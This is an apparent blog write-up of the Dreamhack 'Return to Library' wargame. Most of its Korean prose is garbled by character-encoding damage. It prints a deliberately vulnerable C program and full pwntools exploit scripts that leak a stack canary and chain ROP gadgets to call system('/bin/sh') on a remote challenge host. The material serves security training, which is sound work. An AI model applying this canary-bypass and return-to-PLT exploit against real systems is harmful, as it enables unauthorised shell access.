์ถ์ฒ : https://dreamhack.io/lecture/roadmaps/2
Return to Library
๐ ์ค์ต ์์ ์ฝ๋
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
๋ถ์
(1) ๋ณดํธ ๊ธฐ๋ฒ
checksec ๋ช ๋ น์ด๋ก ๋ค์ด๋ก๋ํ ๋ฐ์ด๋๋ฆฌ์ ์ ์ฉ๋ ๋ณดํธ ๊ธฐ๋ฒ์ ํ์ ํด๋ณธ ๊ฒฐ๊ณผ, ์๋์ ๊ฐ์ ๋ถ๋ถ์ ํ์ธํ ์ ์์๋ค.
์ด๋ฅผ ํตํด ์นด๋๋ฆฌ๊ฐ ์กด์ฌํ๊ณ , NX๊ฐ ์ ์ฉ๋์ด ์์ผ๋ฉฐ, ์ค์ต ํ๊ฒฝ ๋ฐ ์ต์ ๋ฆฌ๋ ์ค ์ปค๋์์ ASLR์ ๊ธฐ๋ณธ์ผ๋ก ์ ์ฉ๋์ด ์๋ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
(2) ์ฝ๋ ๋ถ์
์ค์ต์ ํ์ฉ๋๋ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ด ๋ถ์ํ ์ ์๋ค.
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
- “/bin/sh”๋ฅผ ์ฝ๋ ์น์ ์ ์ถ๊ฐ
- rtl.c์ 8๋ฒ์งธ ์ค์ “/bin/sh”๋ฅผ ์ฝ๋ ์น์ ์ ์ถ๊ฐํ๊ธฐ ์ํด ์์ฑ๋ ์ฝ๋
- ASLR์ด ์ ์ฉ๋ผ๋ PIE๊ฐ ์ ์ฉ๋์ง ์์ผ๋ฉด ์ฝ๋ ์ธ๊ทธ๋จผํธ์ ๋ฐ์ดํฐ ์ธ๊ทธ๋จผํธ์ ์ฃผ์๋ ๊ณ ์ ๋๋ฏ๋ก, “/bin/sh”์ ์ฃผ์๋ ๊ณ ์ ๋์ด ์๋ค.
- system ํจ์๋ฅผ PLT์ ์ถ๊ฐ
- rtl.c์ 17๋ฒ์งธ ์ค์ PLT์ system์ ์ถ๊ฐํ๊ธฐ ์ํด ์์ฑ๋ ์ฝ๋
- PLT์ GOT๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์์ ์ฐธ์กฐ๋ฅผ ์ํด ์ฌ์ฉํ๋ ํ ์ด๋ธ์ด๋ค.
- PLT์ ์ด๋ค ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์๊ฐ ๋ฑ๋ก๋์ด ์๋ค๋ฉด, ๊ทธ ํจ์์ PLT ์ํธ๋ฆฌ๋ฅผ ์คํํจ์ผ๋ก์จ ํจ์๋ฅผ ์คํํ ์ ์๋ค.
โถ ASLR์ด ๊ฑธ๋ ค ์์ด๋ PIE๊ฐ ์ ์ฉ๋์ด ์์ง ์๋ค๋ฉด PLT์ ์ฃผ์๋ ๊ณ ์ ๋๋ฏ๋ก, ๋ฌด์์์ ์ฃผ์์ ๋งคํ๋๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ฒ ์ด์ค ์ฃผ์๋ฅผ ๋ชฐ๋ผ๋ ์ด ๋ฐฉ๋ฒ์ผ๋ก ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์๋ฅผ ์คํํ ์ ์๋ค. ์ด ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ Return to PLT๋ผ๊ณ ๋ถ๋ฅธ๋ค.
- ๋ฒํผ ์ค๋ฒํ๋ก์ฐ
- rtl.c์ 19๋ฒ์งธ ์ค๋ถํฐ 28๋ฒ์งธ ์ค๊น์ง๋ ๋ ๋ฒ์ ์ค๋ฒํ๋ก์ฐ๋ก ์คํ ์นด๋๋ฆฌ๋ฅผ ์ฐํํ๊ณ , ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ ์ ์๋๋ก ์์ฑ๋ ์ฝ๋
์ต์คํ๋ก์ ์ค๊ณ
1. ์นด๋๋ฆฌ ์ฐํ
์ฒซ ๋ฒ์งธ ์
๋ ฅ์์ ์ ์ ํ ๊ธธ์ด์ ๋ฐ์ดํฐ๋ฅผ ์
๋ ฅํ๋ฉด ์นด๋๋ฆฌ๋ฅผ ๊ตฌํ ์ ์๋ค.
2. rdi๊ฐ์ “/bin/sh”์ ์ฃผ์๋ก ์ค์ ๋ฐ ์
ธ ํ๋
์นด๋๋ฆฌ๋ฅผ ๊ตฌํ์ผ๋ฉด, ์ด์ ๋ ๋ฒ์งธ ์
๋ ฅ์ผ๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ ์ ์๋ค. ๊ทธ๋ฌ๋ NX๋ก ์ธํด ์ง๋ ๊ฐ์์์์ ๊ฐ์ด buf์ ์
ธ ์ฝ๋๋ฅผ ์ฃผ์
ํ๊ณ ์ด๋ฅผ ์คํํ ์๋ ์๋ค.
๊ณต๊ฒฉ์ ์ํด ์๊ณ ์๋ ์ ๋ณด๋ฅผ ์ ๋ฆฌํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
- “/bin/sh”์ ์ฃผ์๋ฅผ ์๋ค.
- system ํจ์์ PLT ์ฃผ์๋ฅผ ์๋ค. → system ํจ์๋ฅผ ํธ์ถํ ์ ์๋ค.
โถ ๋ณธ ์์ ์์๋ “/bin/sh”์ ์ฃผ์๋ฅผ ์๊ณ , system ํจ์๋ฅผ ํธ์ถํ ์ ์์ผ๋ฏ๋ก “/bin/sh”์ ์ฃผ์๋ฅผ rdi์ ๊ฐ์ผ๋ก ์ค์ ํ ์ ์๋ค๋ฉด system(“/bin/sh”)๋ฅผ ์คํํ ์ ์์ต๋๋ค. ์ด๋ฅผ ์ํด์ ๋ฆฌํด ๊ฐ์ ฏ์ ํ์ฉํด์ผ ํ๋ค.
๋ฆฌํด ๊ฐ์ ฏ
๋ฆฌํด ๊ฐ์ ฏ(Return gadget)์ ๋ค์๊ณผ ๊ฐ์ด ret ๋ช ๋ น์ด๋ก ๋๋๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋ ์กฐ๊ฐ์ ์๋ฏธํ๋ค. pwntools ์ค์น ์ ํจ๊ป ์ค์น๋๋ ROPgadget ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํด์ ๋ค์๊ณผ ๊ฐ์ด ๊ฐ์ ฏ์ ๊ตฌํ ์ ์๋ค.
$ ROPgadget --binary rtl
Gadgets information
============================================================
...
0x0000000000400285 : ret
...
Unique gadgets found: 83
$
๋ฆฌํด ๊ฐ์ ฏ์ ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ๋ ๊ณต๊ฒฉ์ ์ ์ฐ์ฑ์ ๋์ฌ์ ์ต์คํ๋ก์์ ํ์ํ ์กฐ๊ฑด์ ๋ง์กฑํ ์ ์๋๋ก ๋๋๋ค. ์๋ฅผ ๋ค์ด ์ด ์์ ์์๋ rdi์ ๊ฐ์ “/bin/sh”์ ์ฃผ์๋ก ์ค์ ํ๊ณ , system ํจ์๋ฅผ ํธ์ถํด์ผ ํ๋ค. ๋ฆฌํด ๊ฐ์ ฏ์ ์ฌ์ฉํ์ฌ ๋ฐํ ์ฃผ์์ ์ดํ์ ๋ฒํผ๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ๋ฎ์ผ๋ฉด, pop rdi๋ก rdi๋ฅผ “/bin/sh”์ ์ฃผ์๋ก ์ค์ ํ๊ณ , ์ด์ด์ง๋ ret๋ก system ํจ์๋ฅผ ํธ์ถํ ์ ์๋ค.
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
์ต์คํ๋ก์
(1) ์นด๋๋ฆฌ ์ฐํ
์นด๋๋ฆฌ ์ฐํ๋ฅผ ์ํ ์ต์คํ๋ก์ ์ฝ๋๋ ์ด์ ์ ์์ฑํ๋ ์ฝ๋์ ๋์ผํ๊ฒ ์์ฑํ ์ ์๋ค.
#!/usr/bin/env python3
# Name: rtl.py
from pwn import *
p = process('./rtl')
e = ELF('./rtl')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
์์ ๊ฐ์ด ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ์์ฑํ ํ, ์คํ์ํค๋ฉด ์๋์ ๊ฐ์ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ์ ์๋ค.
(2) ๋ฆฌํด ๊ฐ์ ฏ ์ฐพ๊ธฐ
๋ฆฌํด ๊ฐ์ ฏ์ ์ฐพ๋ ๋ฐฉ๋ฒ์ ๋ค์ํ์ง๋ง, ์ผ๋ฐ์ ์ผ๋ก ROPgadget์ ์ฌ์ฉํ๋ค๊ณ ํ๋ค. ROPgadget์ pypi๋ฅผ ์ด์ฉํ์ฌ ์ค์นํ ์ ์๋ค.
๋ฒ์ ํ์ธ์ ํตํด ROPgadget์ด ์ ์์ ์ผ๋ก ์ค์น๋์์์ ํ์ธํ ์ ์๋ค.
์๋์ ๊ฐ์ ๋ฐฉ์์ ์ฌ์ฉํ์ฌ ํ์ํ ๊ฐ์ ฏ์ ์ฐพ์ ์ ์๋ค. ์ด๋, --re ์ต์ ์ ์ฌ์ฉํ๋ฉด ์ ๊ทํํ์์ผ๋ก ๊ฐ์ ฏ์ ํํฐ๋งํ ์ ์๋ค. ์ผ๋ฐ์ ์ผ๋ก ๋ฐ์ด๋๋ฆฌ์ ํฌํจ๋ ๊ฐ์ ฏ์ ์๊ฐ ๋งค์ฐ ๋ง์ผ๋ฏ๋ก ํํฐ๋งํ์ฌ ๊ฐ์ ฏ์ ์ฐพ๋ ๊ฒ์ด ์ข๋ค.
(3) ์ต์คํ๋ก์
์ต์คํ๋ก์ ์ฝ๋์ ๊ฒฝ์ฐ ๊ฐ์ ฏ์ผ๋ก ๊ตฌ์ฑ๋ ํ์ด๋ก๋๋ฅผ ์์ฑํ๊ณ , ์ด ํ์ด๋ก๋๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ผ๋ฉด ์ ธ์ ํ๋ํ ์ ์๋ค.
์ ์ฒด ์ต์คํ๋ก์ ์ฝ๋ ์์ฑ์ ์์, ์ฃผ์ํด์ผํ ๋ถ๋ถ์ด ์๋ค. system ํจ์๋ก rip๊ฐ ์ด๋ํ ๋, ์คํ์ ๋ฐ๋์ 0x10๋จ์๋ก ์ ๋ ฌ๋์ด ์์ด์ผ ํ๋ค๋ ๊ฒ์ด๋ค. ์ด๋ system ํจ์ ๋ด๋ถ์ ์๋ movaps ๋ช ๋ น์ด ๋๋ฌธ์ธ๋ฐ, ์ด ๋ช ๋ น์ด๋ ์คํ์ด 0x10๋จ์๋ก ์ ๋ ฌ๋์ด ์์ง ์์ผ๋ฉด Segmentation Fault๋ฅผ ๋ฐ์์ํจ๋ค.
system ํจ์๋ฅผ ์ด์ฉํ ์ต์คํ๋ก์์ ์์ฑํ ๋, ์ต์คํ๋ก์์ด ์ ๋๋ก ์์ฑ๋ ๊ฒ ๊ฐ์๋ฐ๋ Segmentation Fault๊ฐ ๋ฐ์ํ๋ค๋ฉด, system ํจ์์ ๊ฐ์ ฏ์ 8 ๋ฐ์ดํธ ๋ค๋ก ๋ฏธ๋ค๋ณด๋ ๊ฒ์ด ์ข๋ค. ์ด๋ฅผ ์ํด์ ์๋ฌด ์๋ฏธ ์๋ ๊ฐ์ ฏ(no-op gadget)์ system ํจ์ ์ ์ ์ถ๊ฐํ ์ ์๋ค.
๐ ์ ์ฒด ์ต์คํ๋ก์ ์ฝ๋
#!/usr/bin/env python3
# Name: rtl.py
from pwn import *
p = process('./rtl')
e = ELF('./rtl')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret) # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
pause()
p.sendafter(b'Buf: ', payload)
p.interactive()
์ฐ์ , ์ต์คํ๋ก์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํด์ค ์ ์๋๋ฐ, ์ต์คํ๋ก์ ์ฝ๋์ ํฌํจ๋ ์ฃผ์๊ฐ์ ๋ด ๊ฐ์ ๋จธ์ ์ค์ ์ ๋ง์ถฐ ๋ณ๊ฒฝํด์ฃผ๋ ๊ณผ์ ์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ์ฌ ํด๋น ์ฃผ์๊ฐ์ ํ์ธํ ์ ์์ด ์ต์คํ๋ก์ ์ฝ๋ ์คํ ๊ฒฐ๊ณผ ์๋์ ๊ฐ์ ์ค๋ฅ๊ฐ ๋ฐ์ํ์๋ค..
์ดํ ๋ฌธ์ ํ์ด๋ฅผ ์ํด ๋ค์๊ณผ ๊ฐ์ด ์ฝ๋๋ฅผ ์์ ํด๋ณด์๋ค.
๐ ์ต์คํ๋ก์ ์ฝ๋ ์์
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#context.log_level = 'debug'
p = remote("host3.dreamhack.games", 23499)
e = ELF("./rtl")
libc = e.libc
r = ROP(e)
# [0] Gathering Information
system_plt = e.symbols['system']
sh = next(e.search(b'/bin/sh'))
pop_rdi = r.find_gadget(['pop rdi'])[0]
ret = r.find_gadget(['ret'])[0]
slog("system@plt", system_plt)
slog("/bin/sh", sh)
slog("pop rdi", pop_rdi)
slog("ret", ret)
# [1] Leak Canary
buf2sfp = 0x40
buf2cnry = 0x40 - 0x8
payload = b'A'*(buf2cnry + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
# [2] Exploit
payload = b'A' * buf2cnry
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(system_plt)
pause()
p.sendafter("Buf: ", payload)
p.interactive()
์ฐธ๊ณ : https://velog.io/@silvergun8291/Dreamhack-Return-to-Library
์ดํ, ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์คํํ๋ ํ๋๊ทธ ๊ฐ์ ์ฐพ์ ์ ์์๋ค.
๋ฌธ์ ํ์ด๊น์ง ๋ฌด์ฌํ ๋ง์น ์ ์์๋ค!
'Security > System Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Bypass NX & ASLR] Static Link vs. Dynamic Link (1) | 2024.10.09 |
---|---|
[Bypass NX & ASLR] NX & ASLR (0) | 2024.10.09 |
basic_exploitation_000 (0) | 2024.10.09 |
basic_exploitation_001 (0) | 2024.10.09 |
[Bypass NX & ASLR] Return Oriented Programming (0) | 2024.10.09 |